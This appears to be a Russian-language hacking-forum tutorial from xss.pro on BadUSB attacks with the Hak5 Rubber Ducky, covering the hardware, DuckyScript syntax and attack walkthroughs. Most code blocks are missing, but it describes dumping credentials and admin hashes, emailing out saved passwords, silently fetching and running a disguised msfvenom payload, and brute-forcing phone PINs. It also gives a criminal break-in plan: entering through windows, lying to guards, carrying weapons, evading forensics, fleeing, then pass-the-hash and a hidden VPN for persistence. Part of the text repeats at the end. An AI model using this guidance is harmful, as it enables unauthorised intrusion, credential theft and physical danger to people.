Вступление
-Что такое BADUSB атака?.
-Кто такие hak5 и что в них за интересные проекты.
-Физический пентест и использование Badusb.
Смотрим уточку
-Распаковка и внешний вид девайса.
-Внутренности и микро платы.
-Принцип работы устройства.
-Первый запуск Rubber Ducky.
-Первые шаги в атаках.
Написание скриптов для кастомных атак
-Вкратце про duckyscript.
-Эмуляция нажатий клавиш.
-Таймауты и системные таймауты.
-Горячие клавиши и комбинации двух клавиш.
-Запись информации в переменную.
-Циклы в duckyscript.
-Операторы.
-Дополнительные функции языка от hak5.
Атаки на устройства
-Атаки на Windows/Linux
-Атаки на мобилки
-Атаки на роутеры
-Атаки на устройства с поддержкой физической клавиатуры.
Проводим пентест/физический пентест с помощью Rubber Ducky
-Настройка Rubber Ducky для атаки
-Атака на корпоративную сеть с помощью Rubber Ducky
-Массовые атаки на лоха
Итоги
Вступление
Всем привет друзья и враги , сегодня мы поговорим об таком векторе и виде атаки как Badusb , и об чудесном инструменте для проведения этих атак – Rubber Ducky!
Что такое BADUSB атака?
Badusb – вектор атаки на систему с помощью специального устройства которое эмулирует клавиатуру. Этот вектор атаки относиться к физическому пентесту. Устройство подключается к системе через USB порт , система принимает устройство за клавиатуру , и устройство начинает ввод системных команд на пользу злоумышленнику.
Атака основана на использовании механизмов, встроенных в большинство USB-устройств и на способности злоумышленника изменять программное обеспечение этих устройств.
Существует множество различных способов использования BADUSB атаки, однако наиболее распространенный подход заключается в создании вредоносного устройства, которое маскируется под легитимное USB-устройство, такое как флэш-накопитель или клавиатура. Злоумышленник может разместить на таком устройстве вредоносное ПО, которое будет выполняться на целевой системе при подключении к ней.
Одним из примеров использования BADUSB атак является замена стандартного USB-кабеля на флэш-накопитель, содержащий вредоносное ПО. При подключении такого устройства к компьютеру, вредоносное ПО может автоматически выполняться и заражать систему. Злоумышленник также может использовать BADUSB атаку, чтобы получить удаленный доступ к компьютеру, введя на него свой вредоносный скрипт с помощью маскированного USB-устройства.
Одним из самых распространенных видов устройств для проведения BADUSB атак является Rubber Ducky, созданный командой hak5. Rubber Ducky эмулирует клавиатуру и позволяет написать скрипты на языке duckyscript для выполнения различных вредоносных действий на целевой системе при подключении к ней.
Такое устройство можно и сделать самому , например в моей статье “Делаем Badusb из arduino” https://xss.pro/threads/76979/ , где мы делали устройство для Badusb атак из простой платы ардуино Arduino micro pro за 3$ с алика.
Кто такие Hak5 и что в них за интересные проекты
Hak5 - компания которая занимается разработкой и производством различных устройств и программного обеспечения для проведения пентеста (тестирования на проникновение) и для кибербезопасности.
Компания была основана в 2005 году, и изначально специализировалась на создании видео-подкастов, посвященных темам кибербезопасности. В настоящее время, Hak5 также производит и продает устройства для пентеста.
Компания hak5 известна своими проектами в области кибербезопасности, такими как Rubber Ducky, WiFi Pineapple и Shark Jack.
Идея создания Rubber Ducky возникла в 2010 году, когда основатель hak5 Даррен Киттингс рассматривал возможности использования USB-устройств для проведения атак.
Первый прототип Rubber Ducky был создан в 2011 году. В основе устройства лежал микроконтроллер ATmega32U4, который предоставлял возможность эмулировать клавиатуру и автоматически вводить текст на компьютере при подключении через USB-порт.
За несколько лет команда hak5 улучшила устройство, добавив поддержку языка duckyscript для написания скриптов, которые можно было использовать для выполнения различных вредоносных действий на целевой системе. Также в новой версии Rubber Ducky добавили type c ,
который можно использовать для атак на мобильные устройства и кнопку с индикатором для управления платой и просмотром статуса атаки.
Некоторые устройства от Hak5:
Rubber Ducky
BASH BUNNY
SHARK JACK
WIFI PINEAPPLE
Физический пентест и использование Badusb
Физический пентест – тестирование на проникновение в реальный физический комплекс или здание. При физическом пентесте тестируют охрану , систему наблюдения , и систему защиты от посторонних.
Физический пентест довольно актуален при этапе “проникновение в локальную сеть”. Одним из методов физического пентеста является "бросание флешки", при котором специалист по безопасности оставляет специально подготовленную флешку в зоне доступа к системе, которую необходимо проверить. Если кто-то вставляет флешку в свой компьютер, это может привести к заражению компьютера вредоносной программой.
Еще один метод - это проверка защищенности зданий и помещений. Пентестеры могут попытаться взломать замки или проникнуть в помещения, где хранятся конфиденциальные данные или важное оборудование.
В целом, физический пентест направлен на проверку безопасности объектов изнутри, включая системы, здания и процессы. Это может помочь выявить уязвимости, которые не могут быть обнаружены с помощью других методов тестирования.
Можно выделить три основных этапа физического пентеста:
Когда мы проникли в здание или в нужную нам локацию (офис , серверная , склад) мы можем использовать Rubber Ducky для автоматизации быстрых действий на пк , например: скрытая установка мальваря , дамп учетных данных пк , захват учетной записи и т.д.
Имея этот прекрасный девайс мы можем захватить целую сеть , только одним махом руки - запхать флешку в порт USB нашей цели. Об реализации этого поговорим в главе “Атака на корпоративную сеть с помощью Rubber Ducky” , а пока что нам нужно изучить сам девайс , и написать подходящий скрипт для правильной роботы устройства.
Использование такого девайса во время физического пентеста , можно увидеть в сериале мистер робот , когда команда элиота разбросала такие устройства под видом простых USB накопителей.
Тем самым , провокация любопытного пиндоса прошла успешно) он засунул “флешку” в USBпорт на своем пк , тем самым установил мальварь на пк. Далее по сюжету они заразили целую сеть , и потом еще происходили много внеземной хрени) Не суть…
Если смотреть с точки анализа проблемы на эту ситуацию – мы можем понять , что социальная инженерия – всему голова , ведь самое уязвимое место в системе - это кожаные мешки мяса)
Я заказал устройство с офф сайта - https://shop.hak5.org/products/usb-rubber-ducky
Мне пришла новая Rubber ducky (второй ревизии) в синем конверте , вышло очень креативно , Hak5 постарались над дизайном.
В конверте было:
Rubber Ducky
Главное в упаковке , устройство которое напоминает обычную флешку , имеет USB type A и USB type C выходы.
Устройство имеет черный пластиковый корпус , который очень царапается при разборке корпуса) так что будьте с ним аккуратно) также железная крутилка , которая закрывает выход USB.
Наклейки
Стикеры от Hak5 , три капельки которых нету) используются для модификации , об этом поговорим в следующей главе.
Визитка
Красивая визитка с описанием вида устройства и линками на туториалы и мануалы по использованию устройства.
Разборка
Теперь мы можем увидеть голую Badusb , как не странно , плата не очень похожая на плату флешки)
Это логично , ведь тут у нас целый процессор для отработки скриптов
Внутренности и плата
-Микроконтроллер (например, ATmega32u4)
-USB-коннектор type A
- USB-коннектор type C
-Память (например, EEPROM или флэш-память)
-Кнопка
-Светодиод
-HID контроллер
Микроконтроллер
Микроконтроллер (Процессор) – главная часть на плате , отрабатывающая запросы от других железок на плате , и заставляющая эти железки логично работать.
На новой ревизии стоит процессор Atmel 32UC3B1512
USB-коннектор type A
USB-коннектор type A – простой USB выход , для того чтобы устройство можно было подключить к пк, или к другим портам через адаптер типа:
-USB type A – USB type C
-USB type A – USB type B
-USB type A – Lightning
USB-коннектор type C
USB-коннектор type C - спецификация USB для универсального компактного двухстороннего 24-контактного разъёма для USB-устройств и USB-кабелей.
Порт для этого коннектора , в последнее время начали пихать повсюду… Мобилки , ноуты , телики , да даже бля тостеры!
Память
Устройство использует блок памяти , для сохранения байтов данных , которые должен отработать процессор.
Также возле коннектора USB type C мы можем увидеть слот для Micro SD карты , на ней можно держать готовые скрипты.
В комплекте идет Micro SD карта на 128мб , не очень много но для начала пойдет.
При переходе устройства в режим накопителя (по дефолту нужно просто нажать на кнопку которая находиться на плате.) мы можем увидеть в проводнике нашу Micro SD карту , туда мы и будем заливать готовые .bin скрипты.
Кнопка
По дефолту кнопка вводит устройство в режим накопителя , тем самым если мы хотим закинуть или изменить , удалить скрипт который установлен на Micro SD карту , пихаем устройство в USB порт , и быстро нажимаем кнопку.
Также функцию назначения кнопки можно изменять , вписав специальную функцию кода на языке duckyscript в .bin файл , который будет закинут на Rubber Ducky. Об этом мы поговорим в разделе про duckyscript.
Но есть одна проблема - кнопку не видно и не возможно нажимать когда Rubber Ducky в корпусе. Hak5 придумали решение проблемы – стикеры , помните я говорил про три стикера которых не было в стикер паке? Так вот , они в обратной стороны корпуса.
Иза того что корпус пластиковый , он прогибается а если на корпусе напротив кнопки налепить наклейки , мы сможем кликать на кнопку не разбирая корпус. Потому что корпус на котором несколько слоев стикеров будет давить на кнопку.
Силу нажатия можно регулировать количеством слоев стикеров , я поставил 3 , для меня это золотая середина.
Светодиод
Светодиод на плате предназначен для уведомления об статусе атаки.
Мигающий зеленый свет – скрипт работает, атака в процессе.
Зеленый свет – пауза , атака закончилась.
Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта
Также с помощью функции в коде скрипта , можно изменять цвет индикатора , частоту мигания и еще много другого , это мы обсудим также в разделе про duckyscript.
HID контроллер
HID контроллер – один из главных модулей на плате , он отвечает за ввод команд на устройстве жертвы.
Также этот модуль в новых версиях Rubber Duckyс помощью новой функции в duckyscript умеет подменять HID идентификаторы , тем самым представляя себя устройству за такие HID аксессуары как клавиатура или накопитель.
Первый запуск Rubber Ducky
Открыли мы упаковку… посмотрели мы и внутри и снаружи…
Значит теперь пришло время проникновения)))
После того как вставили Rubber Ducky в USB порт , в проводнике у нас появиться новое устройство – накопитель.
Перейдя в накопитель мы увидим папку с документацией.
Теперь сохраняем себе эту папку на пк , и полностью удаляем все файлы с накопителя Rubber Ducky.
Принцип работы устройства
Когда вы подключаете Rubber Ducky к компьютеру, он распознается как устройство USB HID (Human Interface Device). Это позволяет Rubber Ducky эмулировать клавиатуру и мышь, и отправлять команды на ваш компьютер.
После того, как вы запускаете скрипт на Rubber Ducky, микроконтроллер на плате начинает обрабатывать команды и преобразовывать их в последовательность символов, которые эмулируются как нажатия клавиш на клавиатуре.
Далее эти символы отправляются на компьютер и там происходят уже заранее записаны в .bin файл команды.
Пройдемся по каждому этапу:
1.Создание скрипта с алгоритмом атаки
Для написания и конвертации скриптов на языке программирования есть вебсайт – текстовый редактор Payload studio. Редактор сделала сама компания Hak5 и в нем возможно писать только на duckyscript.
Переходим на https://payloadstudio.hak5.org/community/
Перед собой мы увидим текстовый редактор , сюда пишем свой код на duckyscript.
2.Конвертирование скрипта в .bin файл
Написав нужный нам код , нажимаем на кнопку Generate Payload , снизу слева.
Редактор сгенерировал нам готовый .bin файл с скриптом. Нажимаем кнопку Download , и скачиваем файл прямо из браузера.
3.Установка скрипта на модуль памяти Rubber Ducky
После подключения Rubber Ducky к пк , нажимаем кнопку на плате , чтобы перевести устройство в режим флэш накопителя.
Еще можно разобрать корпус Rubber Ducky , аккуратно вынимаем Micro SD карту из слота , и вставляем в пк.
Теперь в проводнике мы увидим новый накопитель , теперь сюда закидываем скаченный из браузера файл , файл обязательно должен иметь название inject.bin
(В накопителе Rubber Ducky должен быть только один файл – inject.bin)
4.Атака типа Badusb
После того как мы закинули файл inject.bin с нашим скриптом на Rubber Ducky , мы можем приступать к атакам.
Для проведения атаки , стоит просто уточке войти в любой USB порт , тогда при получении напряжения Rubber Ducky начнет атаку.
Помним – если хотим вставить утку в свой пк чтобы изменить/удалить скрипт , тогда либо вынимаем Micro SD карту из слота ,и далее работаем с ней в проводнике , либо после того как вставили утку , быстро нажимаете кнопку на плате для перехода в режим накопителя.
Первые шаги в атаках
После ознакомления с чудо девайсом , поговорим об атаках.
Атаки можно проводить на всех устройствах , которые поддерживают ввод информации физической клавиатуры.
Большинство атак происходит через алгоритм:
-открой командную строку
-Введи мою команду (скачай мой файл , или выполни код)
Еще Badusb можно использовать для брутфорса , например:
-брутфорс входа в систему (windows/Linux)
-брутфорс ПИН-кода , пароля мобильника (Android , IOS)
Когда мы проводим атаку на системе windows , для ввода команд , лучше использовать PowerShell.
Где взять готовые скрипты?
Готовые сборники скриптов на языке duckyscript вы сможете найти на Github , эти скрипты в народе называют payload.
Несколько репозиториев с ducky script payload-ами.
- https://github.com/hak5/usbrubberducky-payloads
- https://github.com/topics/ducky-payloads
- https://github.com/FalsePhilosopher/badusb
duckyscript - это язык программирования, который используется для написания скриптов для Rubber Ducky.
duckyscript позволяет написать скрипт, который будет имитировать нажатия клавиш на клавиатуре компьютера, а также другие действия, такие как задержки, нажатия на комбинации клавиш и запуск программ.
Также в новой версии duckyscript , Hak5 добавили много крутых функций в свой ЯП , например:
- Изменение режима атаки. HID, STORAGE , OFF
-Подмена идентификатора HID
-Определение атакуемой ОС
-Управление внутренним хранилищем
На вид ,код на языке duckyscript это набор команд и клавиш которые должен отработать процессор Rubber Ducky и отправить сигнал на HID модуль.
Но это не до конца так , когда начнете углубляться в изучение этого языка программирования , поймете что тут есть и запись данных в переменные , и логические операторы , и циклы , и функции и много всего интересного!
Перед изучением синтаксиса , запомните несколько базовых функций:
REM – комментарий в коде , при отработке скрипта интерпретатор будет игнорировать текст в строке после REM.
REM это строчка в которой этот текст будет комментарием
DELAY – это функция задержки , паузы между выполнением команд.
DELAY <время в мс>
Минимальное значение задержки равно 20.
В среднем , для адекватной роботы кода советую ставить значение задержки 100
Если атакуемая машина очень тормозит или имеет старое железо , значит значение задержки должно быть больше чтобы код сработал правильно.
В таком случае задержку ставим 800.
Эмуляция нажатий клавиш
Одной из главных функций этого языка программирования есть эмуляция нажатий клавиш.
STRING
STRING – функция которая используется для ввода текста как будто он вводится с клавиатуры.
Синтаксис и примеры:
Представьте что прямо сейчас вы ввели текст Hello world на клавиатуре никуда не входив и не выходив.
Это и сделает строка STRING Hello world!
STRINGLN
Также одной из разновидностей функции STRING есть функция STRINGLN
Разница между этими функциями в том что функция STRINGLN после ввода нам нужного текста нажимает Enter.
Синтаксис и примеры:
Если у себя на пк c линуксом открыть консоль и вставить Rubber Ducky с этим скриптом , тогда у нас отработается команда ls , и мы увидим все файлы в текущей директории.
ENTER , ESCAPE , PAUSE , BREAK , Fx
Для эмулирования нажатия таких системных клавиш как:
-ENTER
-ESCAPE
-PAUSE
-BREAK
-F1 F2 F3 F4 F5 F6 F7 F8 F9 F0 F11 F12
Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.
Например , 2 строки:
Заменяют строку STRINGLN , или наоборот.
SHIFT, ALT, CONTROL CTRL, COMMAND, WINDOWS
Для эмулирования нажатия таких клавиш как:
-SHIFT
-ALT
-CONTROL CTRL
-COMMAND
-WINDOWS GUI
Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.
GUI это в большинстве случаев клавиша WIN (Windows) , и самая популярная связка этой клавиши с другой , это win + r (выполнить)
Когда нам надо эмулировать комбинацию из двух клавиш , нам надо писать строку таким способом:
REM эта строка открывает окошко выполнить когда атакуемая система windows
По такому принципу работают все комбинации.
Несколько популярных комбинаций на заметку:
CAPSLOCK, NUMLOCK , SCROLLLOCK
Для использования (ввода текста) через эти клавиши , в коде пишем название клавиши , и тогда она будет включена в нашей виртуальной клавиатуре.
Примеры:
Таймауты
Команда DELAY в языке duckyscript используется для задержки выполнения следующей команды на определенное количество времени.
Это может быть полезно, если вы хотите создать задержку между командами или задержать выполнение следующей команды до тех пор, пока не завершится предыдущая команда.
Синтаксис команды DELAY:
Например, чтобы задержать выполнение следующей команды на 3 секунды, необходимо ввести команду DELAY 3000 (3 секунды = 3000 миллисекунд).
REM Задержка 5 секунд
В этом примере мы используем переменную DELAY, которую предварительно задали в скрипте, чтобы задержать выполнение следующей команды на 5 секунд.
Задержки могут быть полезными в том случае, если вы хотите, чтобы выполнение скрипта было более реалистичным и не выглядело как автоматическое действие. Например, если вы создаете скрипт для взлома пароля, то можно добавить небольшие задержки между набором символов, чтобы скрипт выглядел более естественно и не вызывал подозрений. Однако, учтите, что слишком большие задержки могут привести к тому, что выполнение скрипта займет слишком много времени.
Горячие клавиши и комбинации двух клавиш
Комбинации клавиш помогут нам работать с атакуемой системой быстрее , ведь множество ОС имеют свои горячие клавиши для удобного и быстрого взаимодействия с системой.
Комбинация с помощью пробела
Примеры:
Комбинация с помощью –
Примеры:
Запись информации в переменную
Также в языке программирования duckyscript можно использовать переменные.
Переменные - это именованные контейнеры для хранения значений в duckyscript.
Они используются для упрощения написания скрипта и повышения его гибкости.
Переменные содержат целые числа без знака со значениями в диапазоне от 0 до 65535. Логические значения могут быть представлены ключевыми словами TRUE и FALSE или любым ненулевым целым числом для значений true и 0false.
Все переменные имеют глобальную область видимости — это означает, что на них можно ссылаться в любом месте полезной нагрузки.
VAR
VAR – функция которая позволяет создавать переменные и работать с ними.
Чтобы создать переменную с помощью функции VAR , пишем следующую строку:
Это значит что мы создаем переменную с именем A и помещаем туда такую информацию как число 1337
DEFINE
DEFINE – функция которая позволяет создавать локальные переменные.
Чтобы использовать ее для замены данных пишем такую строчку:
Это можно перевести на человеческий язык как:
Замени словом FOO слово Hello , World!
Применим на практике такой код:
Запустив его на атакуемой машина под управлением ОС windows , строка STRING FOO напишет не FOO , а то значение которым мы заменили слово FOO , в нашем случае это значение Hello world!
Циклы в duckyscript
Цикл в программировании – функция , которая позволяет повторять какое то действия , зависимо от условия и количества повторений.
WHILE
Цикл WHILE в duckyscript используется для повторения действий.
Конструкция кода с циклом WHILE будет построена так:
WHILE (<условие>)
<действие которое будет повторятся>
END_WHILE
Пример кода duckyscript с использованием цикла WHILE:
REM код в цикле 15 раз мигает светодиодом на плате
Этот код в цикле , 15 раз мигает светодиодом , разберем детально.
-строка VAR $FOO = 15 значит что мы присвоили переменной FOO значение 15
-строка WHILE ( $FOO > 0 ) значит , отрабатывать цикл пока значение переменной FOO не станет меньше 0
-строка $FOO = ( $FOO - 1 ) минусует каждый раз число 1 от значения переменной FOO
Тем самым начальное значение переменной FOO 15 , а после того как цикл прошел ,коло значение уже 14 , так весь код уменьшает значение пока оно не станет меньше 0.
Операторы
Условные операторы в программировании – правила кода , которые исполняют код если условие ровно True.
Перейдем к коду.
Конструкция условного оператора IF:
IF (<условие>) THEN
<код который будет выполнятся если условие правильное>
END_IF
Теперь посмотрим на код со стороны адекватного человека)))
Переводим код на понятный человеческий язык:
Если (<условие такое то>) тогда
Сделай то
Конец алгоритма
Конструкция условного оператора IF – ELSE:
Добавляя в алгоритм условный оператор ELSE , мы можем заставить код обрабатывать несколько условий и проверять их работоспособность.
Если первое условие не было выполнено , тогда проверь второе условие , и если оно правильное , выполни код.
Конструкция кода:
IF (<условие>) THEN
<код который будет выполнятся если условие правильное>
ELSE IF (<условие>) THEN
<код который будет выполнятся если условие правильное>
END_IF
Переводим код на понятный человеческий язык:
Если (<условие такое то>) тогда
Сделай то
Иначе(<условие такое то>) тогда
Сделай то
Конец алгоритма
Дополнительные функции языка от Hak5
Определение Операционной системы
Для определения атакующей операционной системы, в duckyscript добавили специальную функцию.
Импорт функции:
Управление кнопкой и присвоение ей функций
Готовые алгоритмы роботы кнопки:
Управление LED индикатором
Как мы помним , у индикатора на плате есть 3 режима цвета и мигания.
Мигающий зеленый свет – скрипт работает, атака в процессе.
Зеленый свет – пауза , атака закончилась.
Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта
Также с помощью специальных функций языка duckyscript , мы можем изменять цвет индикатора и частоту мигания.
LED_OFF
Это функция которая отключает свечение индикатора.
Чтобы отключить индикатор , добавьте в код строку:
LED_R
Эта функция изменяет цвет свечения индикатора на красный.
Для использования в коде , пишем:
LED_G
Эта функция изменяет цвет свечения индикатора на зеленый.
Для использования в коде , пишем:
Вот и закончили мы мучительное путешествие по недрам программирования и скучного и непонятного процесса взаимосвязи кода и физических модулей Rubber Ducky.
Но за то поняли на что возможна уточка и ее язык программирования duckyscript.
В следующим разделе мы будем разбирать атаки на разные устройства , такие как пк , телефон , роутер. С помощью знаний которые мы получили от моего нудного материала с кодами)
Атаки на устройстваАтаки на Windows/Linux
Имея физический доступ к атакуемом ПК ,под управлением такой операционной системы как Windows или Linux , мы можем делать очень многое.
Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:
Пишем свой скрипт на duckyscript для атак на Windows/Linux
Дампим учетные данные и хэши админов:
Скрипт тянет учетные данные системы и хэш – пароли администраторов системы.
Сохраняет эти данные в архив в внутренний накопитель Rubber Ducky.
Дампим сохраненные пароли на устройстве
1.Скачиваем файл https://raw.githubusercontent.com/m...PasswordExfiltration/PasswordExfiltration.ps1
2.В этих сроках пишем свою почту и smtp сервер.
3.поднимаем файл PasswordExfiltration.ps1 на общедоступный сервер
4.В коде скрипта duckyscript в предпоследней строке вводим путь к файле на серваку.
Скрытая установка и запуск файла
<ip> заменить на ip сервера на котором лежим файл , файл назовите svchost64.exe
Скрипт используя PowerShell , в тихом режиме устанавливает ваш файл с сервера и запускает.
Атаки на мобилки
Rubber Ducky также работает с мобильными устройствами (телефоны планшеты)
Атаки будем проводить на ОС Android и IOS.
При пентесте , получение доступа к этим устройствам есть тоже очень важным этапом (особенно при физическом пентесте)
Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:
Открытие веб-сайтов
Android:
iPhone:
Открытие SSH службы
Скрипт используя установленное Программное Обеспечение Termux , скачивает и открывает службу SSH.
Заранее поставьте свой пароль , прописав его в скрипте.
Bruteforse ПИН-кода (4 числа)
Установка мальваря на Android устройство
Атаки на роутеры
Говорю сразу , прямого мануала по эксплуатации не будет , так как точно сам не знаю можно ли для этого юзать именно Rubber Ducky.
Но хочу вас познакомить с этой очень малоизвестной темой об которой почти нигде не говорят.
Как работает атака?
В некоторых роутерах есть USB порт , сделанный он зачастую для подключения принтера или перепрошивки.
Используя такой инструмент как P4wnP1 мы можем провернуть несколько видов атак.
Атаки на устройства с поддержкой физической клавиатуры
По сути , если устройство имеет функцию ввода информации с пк , то в 99% случаев оно может быть уязвимым к атаке Badusb.
Зная OC атакуемой системы и понимать что можно вводить с клавиатуры , а что нет. Можно запрограмировать скрипт на языке програмvирования duckyscript и автоматизировано провести атаку.
Атаки можно проводить на таких системах как:
Проводим пентест/физический пентест с помощью Rubber DuckyНастройка Rubber Ducky для атаки
Начнем! перед атакой нам как всегда нужно собрать информацию об цели.
Наша цель - это корпоративная локальная сеть , в этапе пентеста Information Gathering , мы должны узнать масштабы сети и ОС систем , которые мы будем атаковать.
Юзать мы будем знания физического пентеста и знания использования Rubber Ducky,
Припустим что все системы которые мы будем атаковать - системы под управлением ОС Windows и Android.
Значит и скрипты мы будем выбирать для атак на Windows и Android.
Выбор скриптов для атак:
Теперь подумаем что мы будем использовать , в идеале нам понадобилось бы 2-3 Rubber Ducky (одна Rubber Ducky - один скрипт), но как так у нас нету таких денег мы будем использовать одну уточку.
Делаем 3 скрипта , берем 3 Micro SD карты и на каждую заливаем по одному скрипту. Далее смотря на ситуацию выбираем карту со скриптом который нам нужен.
1.Получение доступа к Android устройству
2.Установка и запуск файла в скрытом режиме.
один из основных векторов атак , в качестве файла мы будем использовать payload.exe созданный инструментом msfvenom.
3.Дамп учетных данных системы и хэшей администратора.
Это нам поможет в будущем...
Теперь с готовыми скриптами можем идти в здание с нашей сеткой...
Атака на корпоративную сеть с помощью Rubber Ducky
Подготовка
Если здание как то связано с офисами и бизнесом , тогда выбираем из одежды более менее адекватные шмотки.
У меня это была рубашка и брюки.
Чтобы избежать неприятных ситуаций или физических конфликтов - берем с собой хоть что для самозащиты (Перцовый спрей , пневматический пистолет).
Ботинки берем одноразовые , так как в случае криминалистики , вас могут найти по подошве , одежду также советую брать одноразовую.
Берем рюкзак , а лучше деловую сумку , там будем держать свой арсенал пентестера.
-ноутбук
-сама Rubber Ducky (одна или несколько)
-Micro SD карты со скриптами
-хоть что то для самозащиты
(Я ни в коем случае никого не призываю к насильственным действиям только самооборона в крайнем случае , причинение боли и убийство это грех и очень плохо!)
Входим в здание
Проходим либо через главный ход , либо через черный вход/окно.
Помним что охрана на входе может нас проверить , так что лучше идти через черный вход или окно.
Если мы уж пошли в стороны охраны , в случае проверки говорим что забыли идентификатор работника , на 60% такая тактика проносит)
после того как прошли все этапы защиты , закрепляемся чтобы изучить карту здания.
Ищем цели
Изучив здание , займемся поиском устройств которые будем атаковать.
Помним что возле наших целей не должно быть будущих свидетелей атаки.
Если люди есть - ждем пока уйдут , если не ушли - атакуйте на свой страх и риск.
Проводим атаку
Теперь если в горизонте видения нет никого из будущих свидетелей атаки , подходим к атакуемой системе и ловким махом руки вставляем уточку в USB порт.
Стараемся не палится и работать только рукой.
Помним что язык ввода на устройстве обязательно должен быть английским , иначе
Ждем пока скрипт выполнится до конца , атака в среднем может занять от 5 до 20 секунд.
Когда мы закончили со всеми устройствами , чистим следы
Убегаем
Теперь ибо спокойно уходим выполнив миссию , либо убегаем со всех ног)
Не забываем замести следы , например открытое окно powershell на компе , или телефон который мы поставили не на то место , где он стоял.
Неожиданные моменты и как их избежать
Если нас спалили и заметили - убегаем , но стараемся не наделать шуму.
Если против нас используют оружие , помним что у нас лежит в рюкзаке , но я советую использовать это только в крайнем случае , так как можно заработать срок или не дай бог убить человека.
Захват сети
Теперь имея доступ к устройствам в сети и имея такие данные как хэши паролей администраторов мы будем использовать тактики постэксплуатции и тактики pivoting-a для закрепления в сети.
Pivoting в пентесте относится к технике, которая позволяет пентестеру расширить свою атакующую поверхность, перемещаясь с одной скомпрометированной системы на другую внутри целевой сети.
Эта техника имеет значение, когда система, скомпрометированная в рамках пентеста, не является конечной целью, а служит мостом для достижения более защищенных или ценных целей внутри сети.
Мы будем закреплятся в сети с помощью открытия скрытого впн сервера на одном из зараженных устройств.
использовать будем этот инструмент:
github.com
Мы будем использовать тот хэш - который вытянула уточка , он сохранен на Micro SD карте со скриптом.
Для извлечения хэша из архива который нам выдала уточка , используем инструмент samdump2 DuckySys DuckySam или pypykatz registry DuckySys --sam DuckySam
Готовый хэш используем для pass the hash атаки.
Вот и таким способом мы захватили сетку)
Массовые атаки
Одним из видов такой атаки , будет метод "бросания флешки".
Метод бросания флешки в BadUSB атаках является одним из способов физической эксплуатации уязвимостей системы и внедрения вредоносного программного обеспечения с помощью злоумышленной USB-флешки.
Суть этого метода заключается в том, что злоумышленник подготавливает USB-устройство, внешне похожее на обычную флешку\. Затем флешка намеренно оставляется или бросается вблизи места, где целевая жертва может ее обнаружить, такого как парковка, столовая или офисный коридор.
Если жертва обнаруживает флешку и решает подключить ее к своему компьютеру, вредоносный код на флешке автоматически запускается и начинает выполнение своих задач.
Основные шаги, выполняемые в ходе бросания флешки в BadUSB атаках, включают:
Такая атака базирована на человеческом любопытстве и социальной инженерии.
Надеюсь мой дорогой друг что я тебе хоть как то помог и научил чему-то новому.
Знаю что напоследок очень много екшена) но и такое бывает при физическому пентесте)
Немного материала для изучения:
github.com
shop.hak5.org
ducktoolkit.com
github.com
А с вами как всегда был маленький Gufi!
До встреч в новых статьях!
Автор: Gufi
Сделано специально для xss.pro !
-Что такое BADUSB атака?.
-Кто такие hak5 и что в них за интересные проекты.
-Физический пентест и использование Badusb.
Смотрим уточку
-Распаковка и внешний вид девайса.
-Внутренности и микро платы.
-Принцип работы устройства.
-Первый запуск Rubber Ducky.
-Первые шаги в атаках.
Написание скриптов для кастомных атак
-Вкратце про duckyscript.
-Эмуляция нажатий клавиш.
-Таймауты и системные таймауты.
-Горячие клавиши и комбинации двух клавиш.
-Запись информации в переменную.
-Циклы в duckyscript.
-Операторы.
-Дополнительные функции языка от hak5.
Атаки на устройства
-Атаки на Windows/Linux
-Атаки на мобилки
-Атаки на роутеры
-Атаки на устройства с поддержкой физической клавиатуры.
Проводим пентест/физический пентест с помощью Rubber Ducky
-Настройка Rubber Ducky для атаки
-Атака на корпоративную сеть с помощью Rubber Ducky
-Массовые атаки на лоха
Итоги
Вступление
Что такое BADUSB атака?
Badusb – вектор атаки на систему с помощью специального устройства которое эмулирует клавиатуру. Этот вектор атаки относиться к физическому пентесту. Устройство подключается к системе через USB порт , система принимает устройство за клавиатуру , и устройство начинает ввод системных команд на пользу злоумышленнику.
Атака основана на использовании механизмов, встроенных в большинство USB-устройств и на способности злоумышленника изменять программное обеспечение этих устройств.
Существует множество различных способов использования BADUSB атаки, однако наиболее распространенный подход заключается в создании вредоносного устройства, которое маскируется под легитимное USB-устройство, такое как флэш-накопитель или клавиатура. Злоумышленник может разместить на таком устройстве вредоносное ПО, которое будет выполняться на целевой системе при подключении к ней.
Одним из примеров использования BADUSB атак является замена стандартного USB-кабеля на флэш-накопитель, содержащий вредоносное ПО. При подключении такого устройства к компьютеру, вредоносное ПО может автоматически выполняться и заражать систему. Злоумышленник также может использовать BADUSB атаку, чтобы получить удаленный доступ к компьютеру, введя на него свой вредоносный скрипт с помощью маскированного USB-устройства.
Одним из самых распространенных видов устройств для проведения BADUSB атак является Rubber Ducky, созданный командой hak5. Rubber Ducky эмулирует клавиатуру и позволяет написать скрипты на языке duckyscript для выполнения различных вредоносных действий на целевой системе при подключении к ней.
Такое устройство можно и сделать самому , например в моей статье “Делаем Badusb из arduino” https://xss.pro/threads/76979/ , где мы делали устройство для Badusb атак из простой платы ардуино Arduino micro pro за 3$ с алика.
Кто такие Hak5 и что в них за интересные проекты
Hak5 - компания которая занимается разработкой и производством различных устройств и программного обеспечения для проведения пентеста (тестирования на проникновение) и для кибербезопасности.
Компания была основана в 2005 году, и изначально специализировалась на создании видео-подкастов, посвященных темам кибербезопасности. В настоящее время, Hak5 также производит и продает устройства для пентеста.
Компания hak5 известна своими проектами в области кибербезопасности, такими как Rubber Ducky, WiFi Pineapple и Shark Jack.
Идея создания Rubber Ducky возникла в 2010 году, когда основатель hak5 Даррен Киттингс рассматривал возможности использования USB-устройств для проведения атак.
Первый прототип Rubber Ducky был создан в 2011 году. В основе устройства лежал микроконтроллер ATmega32U4, который предоставлял возможность эмулировать клавиатуру и автоматически вводить текст на компьютере при подключении через USB-порт.
За несколько лет команда hak5 улучшила устройство, добавив поддержку языка duckyscript для написания скриптов, которые можно было использовать для выполнения различных вредоносных действий на целевой системе. Также в новой версии Rubber Ducky добавили type c ,
который можно использовать для атак на мобильные устройства и кнопку с индикатором для управления платой и просмотром статуса атаки.
Некоторые устройства от Hak5:
Rubber Ducky
BASH BUNNY
SHARK JACK
WIFI PINEAPPLE
Физический пентест и использование Badusb
Физический пентест – тестирование на проникновение в реальный физический комплекс или здание. При физическом пентесте тестируют охрану , систему наблюдения , и систему защиты от посторонних.
